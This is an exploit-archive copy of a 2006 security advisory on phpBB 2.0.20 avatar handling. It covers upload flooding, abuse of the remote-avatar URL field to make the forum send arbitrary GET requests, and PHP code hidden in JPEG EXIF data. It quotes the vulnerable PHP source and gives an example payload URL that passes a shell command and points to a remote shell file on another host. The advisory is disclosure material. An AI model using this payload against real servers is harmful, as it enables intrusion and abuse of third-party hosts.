Advertisement






PHPBB 2.0.20 persistent issues with avatars

CVE Category Price Severity
CVE-2005-4015 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2006-09-04
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006080177

Below is a copy:

PHPBB 2.0.20 multiple issues with avatars

some problems persistently lie in the way it handles remote and uploaded avatars:

a remote user can:
 
(1) saturate the server with unuseful files, 'cause phpbb do not delete
the previous one when you upload a new avatar

(2) use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.

Look usercp_avatar.php near lines 125-153:
...
if ( $avatar_mode == 'remote' && preg_match('/^(http://)?([w-.]+):?([0-9]*)/(.*)$/', $avatar_filename, $url_ary) )
        {
                if ( empty($url_ary[4]) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
                        return;
                }

                $base_get = '/' . $url_ary[4];
                $port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

                if ( !($fsock = <img src="/imgs/at.gif" border=0 align=middle>fsockopen($url_ary[2], $port, $errno, $errstr)) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];
                        return;
                }

                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "GET $base_get HTTP/1.1rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "HOST: " . $url_ary[2] . "rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "Connection: closernrn");

                unset($avatar_data);
                while( !<img src="/imgs/at.gif" border=0 align=middle>feof($fsock) )
                {
                        $avatar_data .= <img src="/imgs/at.gif" border=0 align=middle>fread($fsock, $board_config['avatar_filesize']);
                }
                <img src="/imgs/at.gif" border=0 align=middle>fclose($fsock);
...

phpbb do not check if the user supplied value ends with an image extension, neither
checks if the supplied string contains "&" and "?" chars. So, you can submit a value
like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0
HOST: some_vulnerable.host
Connection: close
 
obviously you have no output, but this makes phpbb to be like a http proxy

(3) inject some php code inside jpeg files as EXIF metadata content:
this, in combinations with third party vulnerable code can be used
to compromise the server where PHP is installed. 
Should be enough to check for php code inside the temporary files
before to copy the new avatar in "images/avatars/" folder.

rgod
---------------------------------------------------------------------------------
mail: rgod [at] autistici [dot] org
site: http://retrogod.altervista.org


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum